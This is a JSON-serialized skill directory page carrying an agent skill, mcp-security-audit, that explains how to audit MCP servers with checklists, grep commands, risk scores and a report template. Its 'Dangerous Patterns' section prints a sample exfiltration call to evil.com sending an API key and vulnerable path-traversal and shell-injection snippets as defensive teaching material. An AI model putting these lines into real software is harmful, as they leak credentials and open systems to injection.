[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M77MMFPP37MTJAAN9AT25DP5":3,"skill-same:01M77MMFPP37MTJAAN9AT25DP5":46},{"skillNo":4,"name":5,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":23,"commitSha":24,"skillDirectory":25,"forksCount":26,"repositoryHtmlUrl":27,"repositoryHomepageUrl":28,"ownerHtmlUrl":29,"ownerBlogUrl":6,"ownerDescription":30,"updatedAt":31,"install":32,"resources":45},"01M77MMFPP37MTJAAN9AT25DP5","mcp-security-audit",null,"Lord1Egypt\u002Fawesome-skill-forge","Lord1Egypt","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99746359?v=4","01M7592YDNT0XK9WJ0T2MQVPDN","Mohamed Mounir Ali AL Keshita","01M75GRFNHC8VZNWEB8DKDE433",3,"MIT","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fcommunity\u002Fclawhub\u002Fm\u002Fmcp-security-audit\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: skill-mcp-security-audit\ndescription: Security audit for MCP (Model Context Protocol) servers. Detect data exfiltration risks, command injection, permission escalation, and supply chain vulnerabilities before adding MCP servers to your agent. Trigger on: 'audit MCP', 'MCP security', 'check MCP server', 'scan MCP'.\nmetadata:\n  openclaw:\n    requires: {}\n---\n\n# MCP Security Audit 🔒\n\n> Don't blindly trust MCP servers. Audit them first.\n\n## The Problem\n\nMCP (Model Context Protocol) servers give AI agents powerful capabilities - file access, API calls, code execution. But they can also:\n\n- **Exfiltrate data** to external servers\n- **Execute arbitrary commands** on your machine\n- **Access files** beyond intended scope\n- **Chain vulnerabilities** for privilege escalation\n\n**Real incident:** CVE-2026-23744 exposed MCP injection vulnerabilities. Supply chain attacks via compromised MCP packages are a growing threat.\n\n## Quick Audit Checklist\n\n### 1. Source Verification ✅\n\n```\n□ Is this an official\u002Fverified package?\n□ Check npm\u002FPyPI download counts and maintainer history\n□ Review recent commits for suspicious changes\n□ Verify package signature if available\n```\n\n### 2. Network Audit 🌐\n\n```\n□ List all external URLs\u002Fdomains the MCP connects to\n□ Check for hardcoded API endpoints\n□ Verify TLS certificate validation is enabled\n□ Flag any data sent to unknown domains\n```\n\n### 3. File Access Audit 📁\n\n```\n□ What directories can the MCP read\u002Fwrite?\n□ Is access scoped to project directory only?\n□ Check for path traversal vulnerabilities\n□ Flag any access to ~\u002F.ssh, ~\u002F.config, env files\n```\n\n### 4. Command Execution Audit ⚡\n\n```\n□ Does the MCP execute shell commands?\n□ Are commands user-controlled or hardcoded?\n□ Check for command injection vectors\n□ Verify sandboxing\u002Fisolation if present\n```\n\n### 5. Permission Scope Audit 🔑\n\n```\n□ What permissions does the MCP request?\n□ Are permissions minimal (principle of least privilege)?\n□ Check for excessive scope requests\n□ Verify user consent for sensitive operations\n```\n\n### 6. Dependency Audit 📦\n\n```\n□ Run npm audit \u002F pip-audit \u002F cargo audit\n□ Check for known CVEs in dependencies\n□ Flag outdated packages with security fixes\n□ Review transitive dependencies\n```\n\n## Audit Commands\n\n### For npm-based MCP servers:\n\n```bash\n# Check package.json for suspicious scripts\ncat package.json | jq '.scripts'\n\n# Audit dependencies\nnpm audit\n\n# Check for post-install scripts\ncat package.json | jq '.scripts.postinstall, .scripts.preinstall'\n\n# List network calls (requires grep)\ngrep -r \"fetch\\|axios\\|http\\|https\\|ws:\u002F\u002F\" src\u002F --include=\"*.js\" --include=\"*.ts\"\n```\n\n### For Python MCP servers:\n\n```bash\n# Check requirements.txt for suspicious packages\ncat requirements.txt\n\n# Audit dependencies\npip-audit\n\n# Check for network calls\ngrep -r \"requests\\|urllib\\|httpx\\|aiohttp\" src\u002F --include=\"*.py\"\n\n# Check for subprocess calls\ngrep -r \"subprocess\\|os.system\\|exec\\|eval\" src\u002F --include=\"*.py\"\n```\n\n## Risk Scoring\n\n| Category | Weight | High Risk Indicators |\n|----------|--------|---------------------|\n| Network | 30% | Unknown domains, no TLS, data exfil patterns |\n| File Access | 25% | Home dir access, path traversal, sensitive files |\n| Command Exec | 25% | Unsanitized input, shell=True, arbitrary commands |\n| Dependencies | 15% | Known CVEs, unmaintained packages |\n| Source | 5% | Unverified maintainer, recent ownership change |\n\n**Score ≥ 70**: High risk - Do not use without review\n**Score 40-69**: Medium risk - Use with caution\n**Score \u003C 40**: Low risk - Generally safe\n\n## Red Flags 🚩\n\nImmediately reject MCP servers with:\n\n1. **Obfuscated code** - `eval(atob('...'))` or similar\n2. **Dynamic code loading** - Loading code from remote URLs\n3. **Environment variable exfil** - Sending `process.env` or `os.environ` externally\n4. **Credential harvesting** - Asking for passwords\u002Ftokens unnecessarily\n5. **No source code** - Binary-only distributions without reproducible builds\n\n## Audit Report Template\n\n```markdown\n# MCP Security Audit Report\n\n**Server**: [name]\n**Version**: [version]\n**Audited**: [date]\n**Risk Score**: [score]\u002F100\n\n## Findings\n\n### Critical\n- [list critical issues]\n\n### High\n- [list high issues]\n\n### Medium\n- [list medium issues]\n\n### Low\n- [list low issues]\n\n## Recommendations\n\n1. [recommendation]\n2. [recommendation]\n\n## Verdict\n\n[ ] APPROVED - Safe to use\n[ ] APPROVED WITH CAUTION - Review recommendations\n[ ] REJECTED - Too many risks\n```\n\n## Common MCP Security Patterns\n\n### Safe Patterns ✅\n\n```javascript\n\u002F\u002F Scoped file access\nconst allowedDir = path.resolve(process.cwd(), 'data');\nif (!filePath.startsWith(allowedDir)) throw new Error('Access denied');\n\n\u002F\u002F Sanitized commands\nconst allowedCommands = ['git', 'npm', 'node'];\nif (!allowedCommands.includes(cmd)) throw new Error('Command not allowed');\n\n\u002F\u002F Explicit user consent\nif (!await askUserConsent('Allow access to X?')) return;\n```\n\n### Dangerous Patterns ❌\n\n```javascript\n\u002F\u002F DON'T: Unrestricted file read\nfs.readFileSync(userInput); \u002F\u002F Path traversal!\n\n\u002F\u002F DON'T: Shell injection\nexec(`git ${userBranch}`); \u002F\u002F Command injection!\n\n\u002F\u002F DON'T: Credential exposure\nfetch('https:\u002F\u002Fevil.com\u002Fsteal?token=' + process.env.API_KEY);\n```\n\n## Integration with CI\u002FCD\n\nAdd to your workflow:\n\n```yaml\n# .github\u002Fworkflows\u002Fmcp-audit.yml\nname: MCP Security Audit\non: [push, pull_request]\n\njobs:\n  audit:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v4\n      - name: Audit MCP servers\n        run: |\n          # Add your audit commands here\n          npm audit\n          # Check for suspicious patterns\n          grep -r \"eval\\|exec\\|process.env\" mcp-servers\u002F && exit 1\n```\n\n## Related Skills\n\n- **prompt-guard** - Protect against prompt injection\n- **skill-error-recovery** - Handle MCP connection failures gracefully\n- **token-budget-guard** - Monitor MCP token usage\n\n## References\n\n- [MCP Specification](https:\u002F\u002Fmodelcontextprotocol.io)\n- [OWASP Top 10 for LLMs](https:\u002F\u002Fowasp.org\u002Fwww-project-top-10-for-large-language-model-applications\u002F)\n- [CVE-2026-23744](https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-23744)\n\n---\n\n**Remember**: Every MCP server you add expands your agent's attack surface. Audit before you trust.\n","# MCP Security Audit 🔒\n\n> Don't blindly trust MCP servers. Audit them first.\n\n## The Problem\n\nMCP (Model Context Protocol) servers give AI agents powerful capabilities - file access, API calls, code execution. But they can also:\n\n- **Exfiltrate data** to external servers\n- **Execute arbitrary commands** on your machine\n- **Access files** beyond intended scope\n- **Chain vulnerabilities** for privilege escalation\n\n**Real incident:** CVE-2026-23744 exposed MCP injection vulnerabilities. Supply chain attacks via compromised MCP packages are a growing threat.\n\n## Quick Audit Checklist\n\n### 1. Source Verification ✅\n\n```\n□ Is this an official\u002Fverified package?\n□ Check npm\u002FPyPI download counts and maintainer history\n□ Review recent commits for suspicious changes\n□ Verify package signature if available\n```\n\n### 2. Network Audit 🌐\n\n```\n□ List all external URLs\u002Fdomains the MCP connects to\n□ Check for hardcoded API endpoints\n□ Verify TLS certificate validation is enabled\n□ Flag any data sent to unknown domains\n```\n\n### 3. File Access Audit 📁\n\n```\n□ What directories can the MCP read\u002Fwrite?\n□ Is access scoped to project directory only?\n□ Check for path traversal vulnerabilities\n□ Flag any access to ~\u002F.ssh, ~\u002F.config, env files\n```\n\n### 4. Command Execution Audit ⚡\n\n```\n□ Does the MCP execute shell commands?\n□ Are commands user-controlled or hardcoded?\n□ Check for command injection vectors\n□ Verify sandboxing\u002Fisolation if present\n```\n\n### 5. Permission Scope Audit 🔑\n\n```\n□ What permissions does the MCP request?\n□ Are permissions minimal (principle of least privilege)?\n□ Check for excessive scope requests\n□ Verify user consent for sensitive operations\n```\n\n### 6. Dependency Audit 📦\n\n```\n□ Run npm audit \u002F pip-audit \u002F cargo audit\n□ Check for known CVEs in dependencies\n□ Flag outdated packages with security fixes\n□ Review transitive dependencies\n```\n\n## Audit Commands\n\n### For npm-based MCP servers:\n\n```bash\n# Check package.json for suspicious scripts\ncat package.json | jq '.scripts'\n\n# Audit dependencies\nnpm audit\n\n# Check for post-install scripts\ncat package.json | jq '.scripts.postinstall, .scripts.preinstall'\n\n# List network calls (requires grep)\ngrep -r \"fetch\\|axios\\|http\\|https\\|ws:\u002F\u002F\" src\u002F --include=\"*.js\" --include=\"*.ts\"\n```\n\n### For Python MCP servers:\n\n```bash\n# Check requirements.txt for suspicious packages\ncat requirements.txt\n\n# Audit dependencies\npip-audit\n\n# Check for network calls\ngrep -r \"requests\\|urllib\\|httpx\\|aiohttp\" src\u002F --include=\"*.py\"\n\n# Check for subprocess calls\ngrep -r \"subprocess\\|os.system\\|exec\\|eval\" src\u002F --include=\"*.py\"\n```\n\n## Risk Scoring\n\n| Category | Weight | High Risk Indicators |\n|----------|--------|---------------------|\n| Network | 30% | Unknown domains, no TLS, data exfil patterns |\n| File Access | 25% | Home dir access, path traversal, sensitive files |\n| Command Exec | 25% | Unsanitized input, shell=True, arbitrary commands |\n| Dependencies | 15% | Known CVEs, unmaintained packages |\n| Source | 5% | Unverified maintainer, recent ownership change |\n\n**Score ≥ 70**: High risk - Do not use without review\n**Score 40-69**: Medium risk - Use with caution\n**Score \u003C 40**: Low risk - Generally safe\n\n## Red Flags 🚩\n\nImmediately reject MCP servers with:\n\n1. **Obfuscated code** - `eval(atob('...'))` or similar\n2. **Dynamic code loading** - Loading code from remote URLs\n3. **Environment variable exfil** - Sending `process.env` or `os.environ` externally\n4. **Credential harvesting** - Asking for passwords\u002Ftokens unnecessarily\n5. **No source code** - Binary-only distributions without reproducible builds\n\n## Audit Report Template\n\n```markdown\n# MCP Security Audit Report\n\n**Server**: [name]\n**Version**: [version]\n**Audited**: [date]\n**Risk Score**: [score]\u002F100\n\n## Findings\n\n### Critical\n- [list critical issues]\n\n### High\n- [list high issues]\n\n### Medium\n- [list medium issues]\n\n### Low\n- [list low issues]\n\n## Recommendations\n\n1. [recommendation]\n2. [recommendation]\n\n## Verdict\n\n[ ] APPROVED - Safe to use\n[ ] APPROVED WITH CAUTION - Review recommendations\n[ ] REJECTED - Too many risks\n```\n\n## Common MCP Security Patterns\n\n### Safe Patterns ✅\n\n```javascript\n\u002F\u002F Scoped file access\nconst allowedDir = path.resolve(process.cwd(), 'data');\nif (!filePath.startsWith(allowedDir)) throw new Error('Access denied');\n\n\u002F\u002F Sanitized commands\nconst allowedCommands = ['git', 'npm', 'node'];\nif (!allowedCommands.includes(cmd)) throw new Error('Command not allowed');\n\n\u002F\u002F Explicit user consent\nif (!await askUserConsent('Allow access to X?')) return;\n```\n\n### Dangerous Patterns ❌\n\n```javascript\n\u002F\u002F DON'T: Unrestricted file read\nfs.readFileSync(userInput); \u002F\u002F Path traversal!\n\n\u002F\u002F DON'T: Shell injection\nexec(`git ${userBranch}`); \u002F\u002F Command injection!\n\n\u002F\u002F DON'T: Credential exposure\nfetch('https:\u002F\u002Fevil.com\u002Fsteal?token=' + process.env.API_KEY);\n```\n\n## Integration with CI\u002FCD\n\nAdd to your workflow:\n\n```yaml\n# .github\u002Fworkflows\u002Fmcp-audit.yml\nname: MCP Security Audit\non: [push, pull_request]\n\njobs:\n  audit:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v4\n      - name: Audit MCP servers\n        run: |\n          # Add your audit commands here\n          npm audit\n          # Check for suspicious patterns\n          grep -r \"eval\\|exec\\|process.env\" mcp-servers\u002F && exit 1\n```\n\n## Related Skills\n\n- **prompt-guard** - Protect against prompt injection\n- **skill-error-recovery** - Handle MCP connection failures gracefully\n- **token-budget-guard** - Monitor MCP token usage\n\n## References\n\n- [MCP Specification](https:\u002F\u002Fmodelcontextprotocol.io)\n- [OWASP Top 10 for LLMs](https:\u002F\u002Fowasp.org\u002Fwww-project-top-10-for-large-language-model-applications\u002F)\n- [CVE-2026-23744](https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-23744)\n\n---\n\n**Remember**: Every MCP server you add expands your agent's attack surface. Audit before you trust.\n",{},"master","4aa004da461d820f4ea5499e58eb8d196cf99016","community\u002Fclawhub\u002Fm\u002Fmcp-security-audit",0,"https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge","https:\u002F\u002Fskill-explorer-rho.vercel.app","https:\u002F\u002Fgithub.com\u002FLord1Egypt","Unbreakable. Unstoppable. Unmatched⚡.\r\n Speaker of machine tongues 🤖  | World-builder of decentralized dreams 🌐 | Defender of the digital realm🛡️.","2026-06-10 08:21:01",{"source":7,"skillName":5,"commands":33,"prompt":43,"zipAvailable":44},[34,37,40],{"tool":35,"command":36},"npx","npx skills add Lord1Egypt\u002Fawesome-skill-forge --skill mcp-security-audit",{"tool":38,"command":39},"bunx","bunx skills add Lord1Egypt\u002Fawesome-skill-forge --skill mcp-security-audit",{"tool":41,"command":42},"pnpm","pnpm dlx skills add Lord1Egypt\u002Fawesome-skill-forge --skill mcp-security-audit","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fcommunity\u002Fclawhub\u002Fm\u002Fmcp-security-audit\u002FSKILL.md",true,[],[47,54,61,68,75,82],{"skillNo":48,"name":49,"nameZh":6,"description":50,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":51,"categories":52,"keywords":53,"publishedAt":18},"01M785WKJB99G3STR1NF9NRTJW","youtube-content","YouTube transcripts to summaries, threads, blogs.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Fyoutube-content\u002FSKILL.md",[],[],{"skillNo":55,"name":56,"nameZh":6,"description":57,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":58,"categories":59,"keywords":60,"publishedAt":18},"01M785WEFHB0G2S9YA6EPR3H0E","xurl","X\u002FTwitter via xurl CLI: post, search, DM, media, v2 API.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Fxurl\u002FSKILL.md",[],[],{"skillNo":62,"name":63,"nameZh":6,"description":64,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":65,"categories":66,"keywords":67,"publishedAt":18},"01M785W98EDN4EFJXJPMQEHCRC","touchdesigner-mcp","Control a running TouchDesigner instance via twozero MCP — create operators, set parameters, wire connections, execute Python, build real-time visuals. 36 native tools.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Ftouchdesigner-mcp\u002FSKILL.md",[],[],{"skillNo":69,"name":70,"nameZh":6,"description":71,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":72,"categories":73,"keywords":74,"publishedAt":18},"01M785W5S9FP3QBH2V191E025P","test-driven-development","TDD: enforce RED-GREEN-REFACTOR, tests before code.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Ftest-driven-development\u002FSKILL.md",[],[],{"skillNo":76,"name":77,"nameZh":6,"description":78,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":81,"publishedAt":18},"01M785W2AS08NSSH9YATCV6FJB","teams-meeting-pipeline","Operate the Teams meeting summary pipeline via Hermes CLI — summarize meetings, inspect pipeline status, replay jobs, manage Microsoft Graph subscriptions.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Fteams-meeting-pipeline\u002FSKILL.md",[],[],{"skillNo":83,"name":84,"nameZh":6,"description":85,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":86,"categories":87,"keywords":88,"publishedAt":18},"01M785VXKW4T34BTP1SCHW1R7F","systematic-debugging","4-phase root cause debugging: understand bugs before fixing.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Fsystematic-debugging\u002FSKILL.md",[],[]]